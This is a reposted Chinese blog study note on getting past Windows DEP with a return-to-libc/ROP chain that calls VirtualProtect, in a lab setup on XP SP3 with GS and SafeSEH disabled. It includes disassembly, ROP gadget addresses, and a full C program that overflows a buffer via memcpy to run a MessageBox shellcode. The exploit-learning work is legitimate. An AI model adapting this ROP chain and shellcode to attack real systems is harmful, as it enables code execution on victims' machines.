码迷,mamicode.com
首页 > 其他好文 > 详细

OD: DEP - Ret2Libc using VirtualProtect

时间:2014-10-21 00:48:37      阅读:296      评论:0      收藏:0      [点我收藏+]

标签:style   blog   color   io   ar   使用   for   strong   sp   

DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中取指令,则会发生错误。为了解决这个问题,MS 在 kernel32.dll 中提供了修改内存属性的 VirtualProtect() 函数,可以修改可执行属性。故一个新的思路的构造参数并利用 VirutalProtect() 修改 shellcode 为可执行,进而绕过 DEP。

BOOL VirtualProtect{
    LPVOID lpAddress,        // 需要修改属性的内存的起始地址
    DWORD  dwSize,           // 大小
    DWORD  flNewProtect,     // 新属性,其中可执行可读写属性 PAGE_EXECUTE_READWRITE 值为 0x40
    PDWORD lpflOldProtect    // 原始属性的保存地址
};

接下来演示如何动态定位 shellcode,然后通过 VirtualProtect() 修改 shellcode 属性并触发。因为参数中含有 null,为便于演示起见,漏洞函数设为 memcpy(),同时关闭 SafeSEH 和 GS 保护。

VirtualProtect() 函数的反汇编代码如下:

 1 7C801AD4 > 8BFF             MOV EDI,EDI                      ; ret2libc.004034F8
 2 7C801AD6   55               PUSH EBP
 3 7C801AD7   8BEC             MOV EBP,ESP
 4 7C801AD9   FF75 14          PUSH DWORD PTR SS:[EBP+14]       ; 设置参数 lpflOldProtect
 5 7C801ADC   FF75 10          PUSH DWORD PTR SS:[EBP+10]       ; 设置参数 flNewProtect : 0x40
 6 7C801ADF   FF75 0C          PUSH DWORD PTR SS:[EBP+C]        ; 设置参数 dwSize
 7 7C801AE2   FF75 08          PUSH DWORD PTR SS:[EBP+8]        ; 设置参数 lpAddress
 8 7C801AE5   6A FF            PUSH -1
 9 7C801AE7   E8 75FFFFFF      CALL kernel32.VirtualProtectEx   ; 转入 VirtualProtectEx()
10 7C801AEC   5D               POP EBP
11 7C801AED   C2 1000          RETN 10

由以上反汇编代码可知,只要在 [ebp+0x8] ~ [ebp+0x18] 的位置放置好参数,再转入 0x7C801AD9 就可以关闭 DEP 了。

接下来布置 shellcode。首先修复被破坏的 ebp(为何修复参见前一篇笔记):push esp, pop ebp, retn 4。

关闭 DEP 之前需要将 ebp+8 设置为栈帧中的可操作位置,并将 ebp+0x14 设置为一个可写的位置。修复 ebp 之后,esp 指向了 ebp+8 的位置。此时如果能使 esp 指向 ebp+0xC 并 push esp,那么 ebp+8 就位于可操作范围内了。所以先使用一条 retn,既可以使 esp 指向 ebp+0xC,又能掌握程序的控制权。

shellcode 如下:

1 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
2 ......
3 "\xE5\xE0\x72\x7D"    // return address, adjust ebp : push esp, pop ebp, retn 4
4 "\x40\x26\xD8\x7D"    // retn
5 "\x90\x90\x90\x90"
6 "\x4A\xD4\xB8\x7D"    // push esp call edi

这里采用上一篇笔记中说到的方法,在第 3 行之前将 edi 指向目标 code,然后布置栈帧,在第 6 行处 call edi 执行目标 code。执行完上述第 6 行的 push esp 后,ebp+8 处的指针就指向可操作的地址了(此时 ebp+8 == esp == [esp+4]),接下来要布置 ebp+0x14,使其指向可写的内存。然后再考虑在 ebp+0x14 写入可写的指针:

1 "\x21\xAf\xCB\x7D"    // return address : pop edi retn
2 "\x40\x12\x5A\x78"    // pop ecx,pop ebx,pop eax,retn
3 "\xE5\xE0\x72\x7D"    // adjust ebp : push esp, pop ebp, retn 4
4 "\x40\x26\xD8\x7D"    // retn
5 "\x90\x90\x90\x90"
6 "\x0A\xDC\xBA\x7D"    // push esp jmp edi(pop ecx,pop ebx,pop eax,retn)

 

 1 // ret2libc.cpp : Defines the entry point for the console application.
 2 //
 3 // env
 4 //   * windows xp sp3 with /noexecute=optout
 5 //   * vs2008 with Optimization/GS/SafeSEH disabled
 6 //     Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line
 7 
 8 #include "stdafx.h"
 9 #include <stdlib.h>
10 #include <string.h>
11 #include <stdio.h>
12 #include <windows.h>
13 
14 char shellcode[]=
15 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
16 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
17 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
18 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
19 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
20 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
21 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
24 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
25 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
26 "\x94\xB0\x6C\x7D"    // pop eax retn
27 "\x69\x36\x5C\x7D"    // pop edi,pop ebx,pop esi,retn
28 "\xE5\xE0\x72\x7D"    // adjust ebp : push esp, pop ebp, retn 4
29 "\x6C\x36\x5C\x7D"    // retn
30 "\x90\x90\x90\x90"
31 "\xC6\xC6\xEB\x77"    // push esp jmp eax
32 "\xFF\x00\x00\x00"    // size of memory-to-chmod
33 "\x40\x00\x00\x00"    // attributes of memory-to-chmod
34 "\xC6\xC6\xEB\x77"    // push esp jmp eax
35 "\x90\x90\x90\x90"
36 "\x90\x90\x90\x90"
37 "\xD9\x1A\x80\x7C"    // chmod memory : VirtualProtect() ends with pop ebp, retn 10
38 "\x90\x90\x90\x90"
39 "\xEB\x30\x5A\x7D"    // jmp esp
40 "\x90\x90\x90\x90"
41 "\x90\x90\x90\x90"
42 "\x90\x90\x90\x90"
43 "\x90\x90\x90\x90"
44 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
45 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
46 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
47 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
48 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
49 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
50 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
51 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
52 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
53 "\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53"
54 "\xFF\x57\xF8"     // 163 bytes pop window shellcode (MessageBoxA)
55 ;
56 void test()
57 {
58     char str[168];
59     memcpy(str,shellcode,425);
60 }
61 int main()
62 {
63     char tmp[1024];
64     HINSTANCE hInst = LoadLibrary(_T("shell32.dll"));  // for more tramp opcode
65     //VirtualProtect(0,0,0,0);
66     test();
67     return 0;
68 }

Hint :

一,在 /NoExec=OptOut 的情况下,需要通过系统属性将 OllyDbg 添加到 DEP 的白名单中

二,突破 DEP 之前的踏板指令,需要在可执行区域,这一点害我走了弯路。可以用 OllyFindAddr 插件,如果使用后的 Log 太长不方便看,可以先 Log to File

三,这里用到的就是传说中的 ROP(Return-Oriented-Programming),利用思路值得掌握!

OD: DEP - Ret2Libc using VirtualProtect

标签:style   blog   color   io   ar   使用   for   strong   sp   

原文地址:http://www.cnblogs.com/exclm/p/4012166.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!